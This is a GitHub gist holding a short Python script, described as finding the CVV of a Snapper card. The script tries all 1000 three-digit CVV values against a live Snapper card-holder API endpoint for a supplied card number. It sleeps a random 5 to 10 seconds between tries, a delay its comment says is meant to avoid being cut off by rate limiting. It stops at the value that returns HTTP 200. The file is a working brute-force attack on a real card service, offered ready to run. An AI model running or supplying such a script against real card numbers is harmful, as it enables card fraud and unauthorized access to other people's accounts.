Created
May 18, 2022 15:47
-
-
Save finngreig/c3d0494ef4c74b7a78e2289f5c94c3d9 to your computer and use it in GitHub Desktop.
Python script that finds the CVV of a Snapper card
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import random | |
import time | |
import requests | |
# may not work for native cards | |
def brute_force_cvv(card_number): | |
for i in range(0, 1000): | |
num = str(i).zfill(3) | |
body = {"cvv": num} | |
time.sleep(random.randint(5, 10)) # rate limiting to avoid being cut off | |
r = requests.post(f"https://card-holder.snapper.co.nz/v1/cards/{card_number}/transactions", json=body) | |
print(f"CVV {num} returned status code {r.status_code}") | |
if r.status_code == 200: | |
return num | |
if __name__ == '__main__': | |
brute_force_cvv('your_card_number_here') |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment